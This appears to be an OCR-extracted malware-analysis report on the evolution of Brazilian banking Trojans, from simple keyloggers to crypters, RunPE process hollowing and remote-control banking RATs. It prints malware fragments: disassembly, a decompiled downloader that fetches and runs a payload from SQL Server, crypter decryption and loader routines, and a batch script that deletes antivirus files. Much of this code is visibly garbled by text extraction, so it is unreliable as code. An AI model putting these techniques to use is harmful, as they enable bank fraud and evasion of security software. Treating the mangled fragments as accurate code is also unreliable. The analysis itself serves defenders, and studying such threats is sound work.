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Introduction

Brazilian malware continues to evolve day by day, making it increasingly sophisticated. If you want to know how
the various malicious programs work nowadays, you can jump to the corresponding section here. Meanwhile,
before that, we would like to show how the techniques used by Brazilian cybercriminals have changed, becoming

more advanced and increasingly complex.

Taking a look at the wider picture we can see that the authors are improving their techniques in order to increase

malware lifetime as well as their profits.

Some time ago, analyzing and detecting Brazilian malware was something that could be done pretty fast due to no
obfuscation, no anti-debugging technique, no encryption, plain-text only communication, etc. The code itself used
to be written in Delphi and Visual Basic 6, with a lot of big images inside making it a huge file, as well as poor

exception handling where the process would regularly crash.

Nowadays, the scenario is not the same; the attackers are investing time and money to develop solutions where the
malicious payload is completely hidden under a lot of obfuscation and code protection. They do still use Delphi
and VB, but have also adopted other languages like .NET and the code quality is much better than before, making

it clear to us that they have moved to a new level.

Let’s walk through some samples showing the difference between what we used to find a few years ago and the

threats being delivered today.
What we used to find

Keylogger

In the beginning, the first samples used to steal banking information from customers were simple keyloggers,
most of them using code publicly available with some minor customizations in order to log only specific
situations. At the time it was sufficient since banking websites were not using any kind of protection against this

threat.
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for i:
begin

begin
case 1 of

8 : begin
memol.Lines[memol.Lines.count-1] := copy(memol.Lines[memol.Lines.count-1

end;
9 : memol.text:=memol.text+"' [Tab] *;

begin
memol.text:-memol.text+ ' [Enter] '+#13#10;

memol. text:=memol.text+" [Ctrl] *;
.text+' [Esc] ';
ol.text+" *;
" [Page Up] *;
" [Page Down] ';

Public keylogger source code

loc S43F3C: ; CODE XREF: TForml Timer1Timer+11BA}j
edi, ebz
edi,
edi : UHKey
GetAsyncKeystate
ax,
loc_S45BCA

eax, eax
al, bl
eax, : switch 21%

eax,

loc_S456CAH

al, byte S43F73[eax]

dword ptr Keybutton[eax=4] ; switch jump

Code implemented on malicious binary

The code was pretty simple; it just used the function GetAsyncKeyState in order to check the state of each key
and then logged it as necessary. Most of the keyloggers were not using any obfuscation to hide the targets, helping

in the identification of such attacks.
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Plaintext strings used to detect navigation

Phishing Trojan

After the banks introduced virtual keyboard to their systems, the use of keyloggers was no longer effective. To

bypass these protections, the Brazilian bad guys started developing mouselogger malware and later Phishing
Trojans.

This type of malware was using DDE (Dynamic Data Exchange) in order to get the current URL opened in the
browser; this method still works nowadays, but most of these malicious programs have updated their code to use
OLE Automation instead of DDE because it provides more advanced options.
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j_DdeCreateStringHandlen

esi, eax

esi, esi

loc_ 4776B2

eax, [ebp+pduResult]

eax ; pdwResult
duTimeout
uType

eax, [ebx+

eax wFmt

esi hszltem

eax, [ebx+

Eax hGConv
cbData
phata

j _DdeClientTransaction

[ebp+hData], eax

esi : hsz

eax, dword_ 4B4FDC

eax, [eax+ 1

eax ; idInst

j _DdeFreeStringHandle

[ebp+hData],

loc 477682

eax, eax

ebhp

offset loc_47767B

dword ptr fs:[eax]

fsi[eax], esp

eax, [ebp+pcbDataSize]

eax ; pchDataSize

eax, [ebp+hData]

eax ;» hbata

j _DdefccessData

ebx, eax

ebx, ebx

short loc_ 477664

Code using DDE to get URL information

After getting the current URL the malware just checks if the URL is in the target list. If found, the malware would

show a phishing screen asking for banking information.
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Phishing Trojan being shown inside Internet Explorer

At this time the malware was not using any kind of encryption or encoding — all strings were plaintext making the

analysis easier.

Page 5 of 37


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/03/07193726/malware_evo_eng_5.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/03/07193726/malware_evo_eng_5.png

https://securelist.com /the-evolution-of-brazilian-malware/74325 /#rat

ZYvyd

Malware strings without any encryption/encoding

The stolen information is then sent to the attacker by email.
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Email containing the stolen information
Hosts

In order to steal information without making it easy to identify a phishing Trojan they started redirecting users to
malicious web pages by changing the hosts file to resolve the banking domain names to hardcoded servers. In this

way, after infection it would be more transparent to the user increasing the chances of a successful attack.

Data written to the hosts file in order to redirect access
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rewrite host_file proc near ; CODE XREF: _TForml_Timer1Timerlp

push ebx
mov ebx, offset dword_54843C
nou edx, offset acWindowsSystem
moy eax, ebx
call Sub_4B4AER
moy eax, ebx
call BSystemBEERewritText$qqrri5System@TTextRec
call @Systen@@_I0Tectinnry
nov edx, offset : F7_197
noy eax, ebx
call sub_4B4EDC
call BSystemBEEWriteln$qqrr15Systen@TTextRec
call @Systen@@_I0TestSaary
nou edx, offset a _F7_1_8
moy eax, ebx
Sub_4B4EDC
@Systen@E@WriteLn$qqrr155ysten@TTextRec
BSystem@E@ 10Testiaarv
edx, offset a _FF_1_1
eax, ebx
sub_484EDC
@Systen@@Writeln$qqrr15Systen@TTextRec
BSystem@E@ I10Test$qqrv
edx, offset a F7_1.2
eax, ebx

Code used to write data to host file

These types of attack were very effective at the time, while not all anti-malware vendors were able to identify and

block them. We can still see some samples using host modifications, but they are not so effective anymore.

Anti-rootkit

At this stage they realized that anti-malware solutions and internet banking security plugins were making their
work more difficult. They then started to focus their efforts on removing security solutions before running the
malicious payload in order to increase the chances of a successful execution and to keep running on the infected

machine for much longer.

Nothing could be better than using well known command line tools that already have this capability —and most of

them are already allowlisted.
¢ RegRun Partizan

This tool is a Native Executable which runs on system startup before the Win32 subsystem starts up. It is able to
delete files and registry keys even if they are protected by Kernel mode drivers, since it is executed before the

drivers are loaded to the system. The commands to be executed are specified on the .RRI file as shown below.
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Partizan RRI script containing the list of files to remove
e The Avenger

A Windows driver designed to remove persistent files and registry keys. The commands to be executed on the

system are written to a script that will be read by the driver once it starts.
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ET"IE Avenger
File Edit Load Scripe Help

=10l x|

S| &Y Ea|

The Avenger {c) by Swandog46
http: /fswandog4e.geekstogo.com

Input script here:

Folders to delete:
ProgramFilessehANG
%ProgramFilessehANAST Software
%ProgramFiles%eyPanda Security
%ProgramFilesSe\ESET
%ProgramFiles S\ KASPER~1
ProgramFilessahAvira
SaProgramFilessahSoftwin
ProgramFiles%ehGrisoft
ProgramFilesSe\NORTON~1
ProgramFilessehMicrosoft Security Client

Kl

v Scan for rootkits Execute

[~ automatically disable any rootkits found

The Avenger GUI and script to delete security solutions

e Gmer

Gmer is a well-known rootkit detector and remover with lots of functions to detect rootkit activities on the system

as well as delete files by using its own device driver. As it has a command-line interface, it is easy to remove

protected files.

COWWINDOWSE Sy stem 32 ogsve. bat

i@echo off

CoWWINDOWSieystemERdmeersigbpkm sys
CAOINDOWSASystem32ogsve. exe -killile COWINDOW S ey stem3drmvars\gbpkmosys
Chdrquives de ProgramasiGbPluginiGhpSy. axe
COINDOWSASystemI2ogsve. exe -killile Cmqur~1GhPluginGhpSy exe
CAWINDOWS\Systern3I2ogsve_exe -killile CAAmun~1\GhPlugin\gbpsv.exe
CAlrquivos de Programas\GhPlugimgbieh. dll

CAWINDOWS Systern32Vogsve_exe -killile Cmune~1\GhPluginygbieh.dil
CMarquivos de ProgramasiGhPluginigbiehcef gl
CAWINDOWS\Systern32ogsve_exe -killile CA\&mun-~1\GhbPluginigbiehced dil
Charquivos de Programas\GhPlugingbiehabn_dll
CAWINDOWS\Systern32ogsve. exe -killile C\Amui--1\GbPluginigbiehabn. dil
ChAruives de Programas\GbPlugintgbiehuni dil

LMDV ysternd D ogsve. exe -killfile C:VArquiv=1vEEPugintgbiehuni dil
CAAruies de Programas\EbFluginigbpdist, dil
CAWINDOWS\Systern32ogsve. exe -killile C:\Amqui-1\GbPlugin\gbpdist.dll
exit
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BAT file using GMERs killfile function to remove security solution

More details about banking Trojans using GMER to uninstall security software can be found in a separate

blogpost.

Malicious Bootloader

After using anti-rootkits Brazil’s cybercriminals went deeper and started to develop their own bootloaders, tailored
exclusively to remove the security solutions from user’s machine. The downloader is in charge of installing the
malicious files and then rebooting the machine. After reboot the malicious bootloader can remove the desired files

from the system.

Basically, the malware replaces the original NTLDR, the bootloader for Windows NT-based systems up to
Windows XP, to a modified version of GRUB.

Modified GRUB loader acting as NTLDR

This loader will read the menu.lst file that points to the malicious files already installed on the system xp-

msantivirus and xp-msclean.

Menu.lst file containing the parameters to execute malicious commands

When executed the malware will remove files related to security solutions and then restore the original NTLDR

files that were previously renamed to NTLDR.old.
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infecta

—rus:
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Commands executed to remove security modules and restore the original NTLDR

What we have nowadays

Automation

Most banks were using machine identification to prevent unauthorized attempts to perform operations using the
stolen information. To bypass this the bad guys started performing the malicious operations from the infected

machine, by using Internet Explorer Automation (formerly OLE automation) to interact with the page content.

The first samples using this type of attack were Browser Helper Objects (BHOs) that could detect a transfer
transaction and then change the destination account, sending the money to the attacker instead of the real

destination.

Later, the same method was heavily used in Boleto attacks, where they were using automation to get the inputted

barcode and then replace it with the fraudulent one.

Since this method only works for Internet Explorer, the malware needs to force the user to access internet banking
via that browser. Therefore, it implements a timer which checks if Firefox or Chrome is being used and then kills

the process.
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£ax, Eax
short £F_jmp ; check if firefox
edx, [ebptvar 6C]

eax, [ebx+ ] ; this
EControlsETControl@GetTextsqqru
eax, [ebptuvar_6C]

eax

edx, [ebp+var_ 78] |

eax, offset str jU =pBn7._Text
near ptr decrypt_str

eax, [ebptvar 78]

edx

@ESystemEPos$qqrr17System@Ansistringt
eax, eax : check if chrome
short not_chrome ff_ jmp

; CODE XREF: TFrumdll tmrSpia
edx, [ebp+var_74]
eax, offset str gFUshFUERBz50rc.Text
near ptr decrypt str
eax, [ebptuar_74]
near ptr kill_browser
ebp+uar 78

Code to avoid use of Chrome and Firefox

When an instance of IE is found, the malware will search for a tab instance in order to be able to read the window

text and then to know which URL is being accessed.
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eax IEFrame
FindWindowd
esi, eax

; LPCSTR
edz, [ebp+var_128]
eax, offset str mZ29xFXoHfA__ .Text
near ptr decrypt str
eax, [ebp+var_128]
@system@EELStrToPChar$qgrz17system@ansistring
Pax ; WorkerW

HWHD

esi ; IEFrame_ HWHD
FindWindowExA
esi, eax

; LPCSTR
edx, [ebp+var_12C]
eax, offset _str_nHXW3IHO4aOG3osI . Text
near ptr decrypt_str
eax, [ebp+var_12C]
E5ystem@ERELStrToPChar$qgrx175ysten@AnsisString
eax : ReBarWindowd?2

; HWHD
esi ; WorkerW HUHD
FindWindowExh
esi, eax

; LPCSTR

edx, [ebp+var_138]

eax, offset str j1_7 UnugFORLzU.Text

near ptr decrypt_str

eax, [ebp+var_138]
@System@EELStrToPChar$qgrx17System@AnsisString

eax ; Address Band Root
; HUHD
esi ; ReBarWindow32 HWHD
FindWindowExh
esi, eax
LPCSTR
edx, [ebp+var_134]
eax, offset str i63hKA_ _Text
near ptr decrypt_str
eax, [ebp+var_134]
ESystem@ERELStrToPChar$qqrz17System@AnsisString
eax : Edit
HUWHD
esi AddressBandRoot HWHD
FindWindowExA
esi, eax
1Param
wParam
Msq
esi h¥nd
SendMessagen
eax
[ebp+wParam], eax
eax, [ebp+1Param]
edx, [ebp+wParam]
@system@ERELStrSetLengthiqqru
eax, [ebp+1Param]
eax 1Param
eax, [ebp+wParam]
eax wParam
H=g
esi hiind
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cd enaressdagen

Finding the tab handle and obtaining the URL being accessed

edx, [ebp+var_C]

eax, offset str_ Z22tWBjmydc__Text

near ptr decrypt_str ;> 38 horas
eax, [ebp+var_C]

edx

find str

eax, eax

target_found

edx, [ebp+var_14]

eax, offset _str_mohBtxRY.Text

near ptr decrypt_str ; Titulo
edx, [ebp+var_14]

ecx, [ebp+var_18]

eax, ebx

near ptr get_tab_url

eax, [ebp+var_18]

eax

edx, [ebp+var_18]

eax, offset str_g2@8iTbfhhD_AYU7 .Text
near ptr decrypt_str ; Meu HSBC Internet
eax, [ebp+var_ 18]

edx

find str

eax, eax

target_found

edx, [ebp+var_2a]

Search for target’s specific titles

As the automation will process the page structure, it needs to know if the victim is on the page to input the Boleto
information. It installs a handle to the event OnDocumentComplete in order to collect the full URL as soon as it is

loaded and then checks if the user is on the target page.

edx, [ebp+var_158]

eax, offset _str_p3dwuakJwHBph2BH.Text

near ptr decrypt_str ;: ib.banese.com.br/ups/myportal/net/CodigoTitulo/ tut/
eax, [ebp+var_158]

eax

eax, [ebp+var_154]

edx, [ebp+arg_8]

near ptr EUariants@EEUarTolLStréqqrri7System@Ansistringrz8TUarData
edz, [ebp+var_154]

eax

find_str

eax, eax

Search for target’s specific pages

After confirming that the user is on the target page, the malware will process the page structure and install a
handler to the submit button, then it can take control of the execution right after the user has submitted the page

and then process the inputted content.
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eax, offset al0flfrqcrséehbr

near ptr decrypt_str

eax, [ebp+var_60] ; onEnterPressed{event); return isHumberKey{event);
edx, [ebp+var_5C]

near ptr ESysutils@lUpperCasedqqrzi17Systen@Ansistring
eax, [ebp+var 5C]

edx

find_str

eax, eax

loc_49C59A

edx, [ebp+var_74]

eax, offset str pHAivGhzbzSgR6y.Text

near ptr decrypt_str

edx, [ebp+var_ 74] ; javascript: formatarMascaraEvent{event);
eax, [ebp+var_70] s pvarg

near ptr sub_4155A8

dword ptr [ebp+var_78.n1+ 1

dword ptr [ebp+var_78.n1+8]

dword ptr [ebp+var_78.n1+4]

dword ptyr [ebp+var_78.n1]

eax, [ebp+var_ 8]

eax

eax, [eax]

dword ptr [eax+

@System@@CheckAutoResult$qqrl

eax, [ebp+var_84]

sub_418EF%

eax

offset alalue_ 2

eax, [ebp+var_8]

eax

eax, [eax]

dword ptr [eax+
ESystemERCheckAutoResultiqqrl
edx, [ebp+var_84]

eax, offset barcode value

near ptr EVariants@E@EVarTolStr$qqrr17System@insiStringrx8TUarData
ds:barcode_wvalue
edx

:1EADDBE

o =R N T L]

CODE XREF: on_submit_handler+1E6T]

Mmmm S

CODE XREF: on_submit handler+1F@8Tj

Mo T =g

CODE XREF: on_submit_handler+2608T;

om0

{Synchronized with EID)

B018FA28

=00 =0 = -]

on_submit_handler:1o

004R2CR

L= =
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Search for a specific textbox and get the inputted data

After collecting the inputted data, it can be processed and then changed to the malicious content before submitting

the page.

For those samples we could find, string obfuscation, debugger detection and virtual machine detection as well as

this method mean they are not as easy to detect as other attacks involving phishing Trojans and hosts.
Code Obfuscation and RunPE

Looking for new ways to bypass detection, Brazilian criminals started using obfuscation in order to hide the parts

of code that perform their main operations.

In the code below the coder has encrypted the original code of the function used to download the malicious

payload; on a static analysis you cannot figure out what the purpose of this function is.

; DS:SI -> counted CR-terminated command string

eax, [esi]
dl, [ebp- 1
bh,
; used by BASIC while in interpreter
edx
; used by BASIC while in interpreter
dl, [edx- 1
eCcX
eax,
ch, [edx+eax=2-
esi
eax, edx
; used by BASIC while in interpreter
edx
eax, edx

edx

BCX

eax,

ch, ds:

; Secondary Fixed Disk Params (AT,NT286,PS except ESDI)

ax, [edx=]

edi

eax,

ecx

Encrypted downloader function

In runtime the malware will call the function to decrypt this code prior to executing it.

decrypt_code

eax, offset p_UrlDownloadToFile ; function to decrypt
ecx, ds:decrypt key ; decryption key

edx, ; bytes to decrypt

decrypt_code

eax, offset p SetRegUalue
ecy, ds:decrypt_key

edx,

decrypt_code
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Decrypt code call

decrypt_next byte:
mou ebp, eax
add ebp, edxz
mou cl, [ebp+A]
mow ebx, edi
sub cl, bl
mow [ebp+8], cl
inc edx
dec esi
jnz short decrypt_next byte

CODE XREF: decrypt_code+28]j
ebp = base address

points to current position
reads 1 byte

key = Bxz42

rewrite decoded byte

Decryption routine

As we can see in the code above, the decryption is a simple sub operation using the key 0x42 on the encrypted

byte — a simple and fast way to hide parts of code.

loc_4542CE: ; CODE XREF: p_UrlD
nov B, [ebprarg 8]
mov ebx, [ebp+8]

mouv eax, [ebp+var_ 8]
push eax

mou eax, [ebp+uar_u]
push eax

call ebx

push eax

call e sil

mov ebx,

push

push

mou eax, [ebp+arg_8]
push eax

mou eax, [ebp+arg_4u]
push eax

push

call ebx

Decrypted downloader function

In order to avoid detection by a network firewall, the downloaded file is encrypted using its own encryption

function.
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Decrypted file

The encryption function is also hidden by using the same method used in the download function — after decrypting

the code we can find a XOR-based encryption combined with a shift-right operation on the XOR key.

decrypt_file: CODE XREF: DATA:BB4542B7]]

mnov edx, esi edx = base encrypted buffer

add edx, eax moue pointer to the byte to be decrypted
mou dl, [edz] read byte

mou ecx, eax move actual position to ecx

mov edi, [ebp+8] read the last xor key used

shr edi, cl shr ®xor key with actual position

moy ecy, edi

not cl

=®or dl, cl ¥or encrypted byte with the generated key
mou ecx, esi

add ecx, eax

mov [ecx], dl

inc eax mouve to next byte

dec ebx

jnz short decrypt_file

After decrypting the file, it will not be executed using the normal methods usually found in malicious code. To
hide the process on the machine the malware uses a trick known as RunPE where the code will execute a clean
process (like iexplorer.exe or explorer.exe) in a suspended state and then modify its memory content to the

malicious code and execute.
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eax, [ebp+
eax

dword ptr [ebp- ; CreateProcessh
eax, eax
loc 459DDA

Code launching clean process as suspended state

After creating the process in a suspended state the code will write the new code to the memory space, set the new

EIP for execution and then resume the thread

eax

dword ptr [ebp- WriteProcessHemory
eax, [esi+

eax, [ebp-

ed®, [ebp-

[ed=+ 1 set new EIP

eax, [ebp-

eax

eax, [ebp-

eax

dword ptr [ebp- SetThreadContext
eax, [ebp- 1

eax

dword pty [ebp- ResumeThread
eax, [ebp- 1

[ebp- ], eax

eax, [ebp- 1
eax

dword ptr [ebp- UVirtualFree
loc_459DD1

Writing malicious code and resuming the thread
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Internet explorer process hosting the malicious file

Since the malicious code is running on the memory space allocated to Internet Explorer, using tools like Process
Explorer to verify the publisher signature does not work because they check the signature of the process on the
disk.

It was clear that they had moved on completely from using beginner’s code to a much more professional
development and we realized it was time to update the analysis process for Brazilian malware. We are sure most
of this evolution happened due to contact and the exchange of knowledge with other malware scenes, mostly those

in Eastern Europe, which we described in this article.

Autolt Crypto

Autolt is now often used as a downloader and crypto for the final payload in order to bypass detection. After being
compiled the Autolt script is encrypted and embedded to the generated binary which makes it necessary to extract

the original script before analyzing its code.
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Looking for a better way to hide the final payload, the Brazilian cybercriminals have developed a new crypto

using Autolt language where the decrypted payload is executed by using a RunPE technique.

Autolt File —) Encrypted Script

Filelnstall Manually
Embedded File Embedded File

Encrypted/
RunPE Compressed File

Autolt Crypto execution flow

The crypto uses two different methods to store the encrypted file: the first one is by using the FileInstall function

that already exists on Autolt, and the other one is embedding the file at the end of the binary.

When using the second method the crypto writes a key which is used to mark where the encrypted payload content

starts and is then able to find the content to decrypt. On the sample below, the key used is a short version of “Sei

que ganharei 20K” which means “I know that I will win R$ 20,000”.

t, "SEIKGANHAREI20K") + Str n( “SEIKGANHAREI20K™) )

Autolt Crypto main code
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After reading the encrypted payload it decrypts the content using the decryption key “VENCIVINICI” and then

executes the malicious payload using RunPE.

The decryption function code is not written in Autolt — it is written in C language. After being compiled the bytes

are included in the code as a string and then mapped to memory and executed by using CallWindowProc API.

F2AEA84829C88945F085C00F84DCO0OE 90001000088C82C0188840DEFFEFFFFE2F3

, "ptr®, D11S

Decryption function implementation
We found the following algorithms being implemented as the encryption/compression method for this crypto:

e RC4

e XXTEA
e« AES

e LZMA

e ZLIB

The use of Autolt for malware development is not something new, but in the middle of 2014 we saw a wave of

attacks using Autolt in Brazil, as we can see on the graph below.
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Another type of malware that emerged recently was malware developed in .NET instead of Visual Basic 6.0 and
Delphi, following a trend we saw worldwide. It is not hard to find a downloader written in .NET. Anyway, some
samples of Trojan-Banker.MSIL.Lanima grabbed our attention when we found some of them were not using

functions commonly used to download the payload.

private void downLoadFile()

1
try
i

if (this.f192cadc779T4b3587a5893859866be5_conn.State == ConnectionState.Closed)

this.f192cadc779T4b3587a5893859866be5_conn.Open();
SELECT img FROM dbo.arg
string cmdText = Forml.decript("ocOQ6IvTEy90ilwlCBgtfreBhsSazlizag");]
SqlCommand sqlCommand = new SqlCommand(cmdText, this.fl192cadc?79f4b3587a5893059866be5_conn);
byte[] array = (byte[])sqlCommand.ExecuteScalar();
string text = this.fl92cadc779f4b3587a5893859@66be5_temp + "\\" + Forml.decript("o8C+9B2GNF4YmFXNyR7bNg==");
if (array != null) System.dll.exe

using (FileStream fileStream = new FileStream(text, FileMode.OpenOrCreate, FileAccess.Write))

{

filestream.Write(array, @, array.Length);
filestream.Flush();
filestream.Close();

}

if (this.f192cadc779f4b3587a5893859866be5_conn.State == ConnectionState.Open)

1
1

Interaction.Shell(text, AppWinStyle.MinimizedFocus, false, -1);
ProjectData.EndApp();

this.f192cadc779T4b3587a5893859866be5_conn.Close();

catch (Exception expr B7)

{

ProjectData.SetProjectError(expr_B7);
ProjectData.ClearProjectError();

Download function

As we can see in the picture above this samples does not use any download function because it uses SQL Server to

host the binary content and then just uses an SQL command to retrieve the content and save to disk.

The strings are encoded with base64 and encrypted with Triple DES algorithm in order to hide the text related to

the main actions of the malware.
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public static string decript(string Message)
{
UTF8Encoding uTF8Encoding = new UTF8Encoding();
MDSCryptoServiceProvider mDSCryptoServiceProvider = new MDSCryptoServiceProvider();
byte[] key = mD5CryptoServiceProvider.ComputeHash{uTFBEncoding.GetBytes("@-2-2-8-8-2-8-0-0-8-8-8-8-0-B-0-0-(
TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = key;
tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;
tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCST;
byte[] array = Convert.FromBase&45tring(Message);
byte[] bytes;
try

ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();
bytes = cryptoTransform.TransformFinalBlock(array, @, array.Length);

3
finally

tripleDESCryptoServiceProvider.Clear();
mDSCryptoServiceProvider.Clear();

return uTF8Encoding.GetString(bytes);

Decrypt function

This family of malware is very prevalent in Brazil and China:

-1 -2 2-3 BW3-5 [WM5-66

MSIL Crypto

Following the same method used by Autolt Crypto the bad guys developed another crypto, this time using .NET
language. The process to extract the real executable is almost the same as Autolt Crypto but it has an intermediate

module which is responsible for extracting the final payload.
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Looking at the main module we have a .NET code and the main function of this main module is to extract and
load the embedded DLL.

NET Crypto File

Extract Extract
Malicious Binary Loader DLL

Execute
Loader DLL

Launch Malicious Decrypt Decrypt
Binary Malicious Binary Loader DLL

Autolt Crypto

.NET Crypto execution flow

public void nobu()
1
string[] array = Strings.Split(File.ReadAllText(Application.ExecutablePath), “cdpapxalZZZsssAAA™, -1, Compa
byte[] data = (byte[])typeof(Convert).GetMethod(this.Text).Invoke(null, new object[]
array[1]
2H
Form2.docinho(Form2.fantasma(data, "sector™));
h

Crypto main function

As we can see, the function above will split the binary content by using the separator string

“cdpapxalZZZsssAAA” and use the second block which contains the encrypted code of the Loader DLL.

PADPADP
>E xalZ77s
ssAAA+pmZ1YmI 1Zm
Z1¥mI1ZmZ1¥Ym]1Zm

Z1¥YmJI1ZmZ1¥YmI1Zm

= I=

T

b’
[y
C
[y

(90 O o (R I o (Y

T

Loader DLL encrypted content

Then it is time to decrypt it by calling the function named “fantasma” (or “ghost” in English), the official name

used for this crypto in the forums is PolyRevDecrypt which is basically an XOR operation between the encrypted
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byte, the last byte of the encrypted buffer and one byte of the password provided to the function.

public static byte[] fantasma(byte[] data, string pass)

1
Array.Reverse(data);
i
byte b = data[data.Length - 1];
byte[] bytes = Encoding.Default.GetBytes(pass);
byte[] array = new byte[data.Length + 1];
int num = @;
int arg_32 @ = 8;
int num2 = data.length - 1;
int num3 = arg_32_8;
while (true)
1
int arg_72_ 8 = num3;
int num4 = num2;
if (arg_72_ @ > numd)
1
break;
h
array[num3] = (data[num3] ~ b ~ bytes[num]);
Array.Reverse(bytes);
bool flag = num == bytes.Length - 1;
if (flag)
1
num = &;
¥
else
i
num-++;
¥
Aum3++;
¥
return array;
¥
¥

Decryption function

After being decrypted, the code will be loaded and executed by the function “docinho” (or “candy” in English).

public static byte[] docinho(byte[] D8bw)
1

Activator.CreateInstance(AppDomain.CurrentDomain.Load(D8bw).GetType(MyProject.Forms.Form2.Buttonl.Text + ".PE"));
return null;

Function to load and execute the DLL

The code of the library is almost the same as the main executable except that now it will use the second block of

the split content.
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string[] array = Strings.Split(File.ReadAllText(Application.ExecutablePath), “"cdpapxaliiZsssass”™, -1, Compa
byte[] array2 = PE.PolyRevDeCrypt(Convert.FromBase6dString(array[2]), "sector™);

int num;

int.TryParse(array[5], out num);

if (Operators.CompareString(array[4], "True”, false) == @)

{

Thread.Sleep(num * 1888);

Type[] types = AppDomain.CurrentDomain.Load(Resources.AdCrypterLib).GetTypes();
for (int i = @; 1 < types.Length; i++)

L
Type type = types[i];
if (Operators.CompareString(type.Name, "Run", false) == @)
1
type. InvokeMember("Inj", (BindingFlags)Conversions.ToInteger(Conversions.ToString(@) + Conversions.’
array2,
array[3]
1)
b
¥

Loader DLL main function
RAT

In a bid to reduce the losses related to cyber attacks, banks implemented two-factor authentication using a
hardware token and SMS token for online banking transactions in addition to the solutions already in place like
machine identification. To solve this problem the cybercriminals have created a remote administration tool

specially developed to request the information required to process internet banking transactions.

Loader

RAT Downloader Compressed Payloac || ——

Decompress

Browser Watcher Payload

Notify
Infection

Request Information

RAT Server ———————————— RAT Client
(Attacker) e — i ——— — —— (Victim)
Send Collected Information

© 2016 AO Kaspersky Lab. All Rights Reserved

RAT execution flow

The browser watcher will monitor the user browser and see if any of the target banks are accessed; if they are, it

will decompress and execute the RAT Client and notify the C&C about the new infection.

Page 28 of 37


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/03/07193514/malware_evo_eng_44.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/03/07193514/malware_evo_eng_44.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/03/07193400/sh_32_en.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/03/07193400/sh_32_en.png

https://securelist.com /the-evolution-of-brazilian-malware/74325 /#rat

edx, [ebp+var_228]

eax, [ebp+var_i]

get foreground title

eax, [ebp+var_228]

eax

edx, [ebp+var_ 220C]

eax, offset aFS38ciSidcSede
decrypt_str

eax, [ebp+var_ 22C] ; citibank
ecx,

edx

is target title

eax, eax

target bank found

edx, [ebp+var_2308]

eax, [ebp+var_Uu]

get foreground title
eax, [ebp+var_230]
eax

edz, [ebp+var_234]

eax, offset aD95cdc27fedd
decrypt_str

eax, [ebp+var 234] ; caixa
ecx,

edx

is target title

eax, eax

target_bank_found

edx, [ebp+var 238]

Internet banking access monitoring

The strings used by this malware are encrypted using their own encryption routine. After decrypting it we are able

to identify the targets as well as the important parts of the code.
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043C18 CERTIFICADO:
_.-_':E'ﬁuf-_:FJ_ fEﬁTIFIf DO:
) ‘~EHH

SMS:
NATURA
NATURA

- TOKEN SMS:
SEMHA

DEJEF'-:“ - CERTIFICADO:
JJLEUF_EEHJ 4 - TuHEH:
S5FDBAFFA59C A67DA6C - TOKEN SMS:
32E643FF2B ldDFQEQFE - SEMHA
57CA7BAG: - POSIca0:

Decrypted strings

For this type of infection it is common for the bad guys to create a way to manage the attacks. Here we can see the
number of computers infected on the same day, keeping in mind that this number means the amount of users that

have accessed internet banking while the malware was running on their computer.

| X| DATA | (1P /Gostname) | [HMPReferre] |
1 05/05/2015 189. S.user.veloxzone.com.br N/A
2 05/05/2015 187.58. .static.host.gvt.net.br N/A
3 05/05/2015 177. .dsl.telesp.net.br N/A
4 05/05/2015 186. 2.static.host.gvt.net.br H/A
5 05/05/2015 187.7. emt701.e.brasiltelecom.net.br H/A
6 05/05/2015 177.41. .static.host.gvt.net.br H/A
7 05/05/2015 189.48. .user.veloxzone . com.br N/A
& 05/05/2015 186. .netenda.com.br N/A

w

05/05/2015 201.80.
05/05/2015 177.

a.com.br N/A
andalarga.com.br H/A

-
=

11 05/05/2015 177. N/A
12 05/05/2015 201. a.com.br N/A
13 05/05/2015 179. .dynamic.adsl.gvt.net.br N/A
14 05/05/2015 177. 7.gbonline.com.br N/A
15 05/05/2015 200. .user.veloxzone.com.br N/A
16 05/05/2015 200. N/A
17 05/05/2015 177. s.static.evolunetcorp.com.br H/A
18 05/05/2015 177. .static.host.gvt.net.br N/A
19 05/05/2015 191. .dynamic.adsl.gvt.net.br N/A
20 05/05/2015 179. ua .com.br W/A
21 05/05/2015 186. tua.com.br N/A
22 05/05/2015 189.25. 2.user.wveloxzone.com.br H/A
23 05/05/2015 187. i H/A
24 05/05/2015 189.8. N/A -
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C&C panel showing the list of infected users

The RAT Client will connect to the server to alert the attacker that a new victim is accessing the internet banking

system. It is then possible to execute the attack in real time.

= PROSOFTWARE 2015 ¥3.0 o ]
ITAU  DESCO CAIMA BB CITY BRE  SICREDI  SANTAEMP  UNICRED SICOOE FECHAPAGINA — OPERAR WINDOWS — MODODETELA  BLOQUEID [24HRS
MOUSE | TECLADO  Equalizar  TESTE

i LISTA BANCO CLIENTE MALC YERS#| | DADDS ;
192,16 G0 1 BB rin 08-00-27-D 9.0.0.1

[T TECLADD 2Z¢ [~ MOUSE 20

[~ MOUSE C/ BLOQUEID

4 [ »]
Operar Tela Senhas I

RAT Server showing a new victim is connected

At this stage the attacker just needs to wait for the user to login and then proceed with the attack. When the user is
already logged in, the attacker can see the user screen, lock it and control the execution as well as ask for specific

information that will help him to steal the account, like:

o Token

e Access card code

e Date of birth

e Account password
 Internet banking password

e FElectronic signature

To prevent the user from seeing that the computer is being remotely controlled, this RAT has a function that
simulates an update for the bank security plugin showing a progress bar and disabling all user interactions.
Meanwhile, the attacker can perform the banking operations by using the active browser section because the

overlay screen is not shown to the attacker.

Page 31 of 37


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/03/07193458/malware_evo_eng_49.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/03/07193458/malware_evo_eng_49.png

Feito Para Voo %

https://securelist.com /the-evolution-of-brazilian-malware/74325 /#rat

O gue vocé procura? Q)

Felizanon

Feche os olhos, olhe
e faca um download

d NOSS¢

Prezado(a) cliente; Nome Cliente

0 Madulo de Segurancga & um sistema de protecio que, durante a execugéo de transagies
eletrinicas, atua como uma blindagem de seu computador contra ataques de programas
maliciosos na Internet.

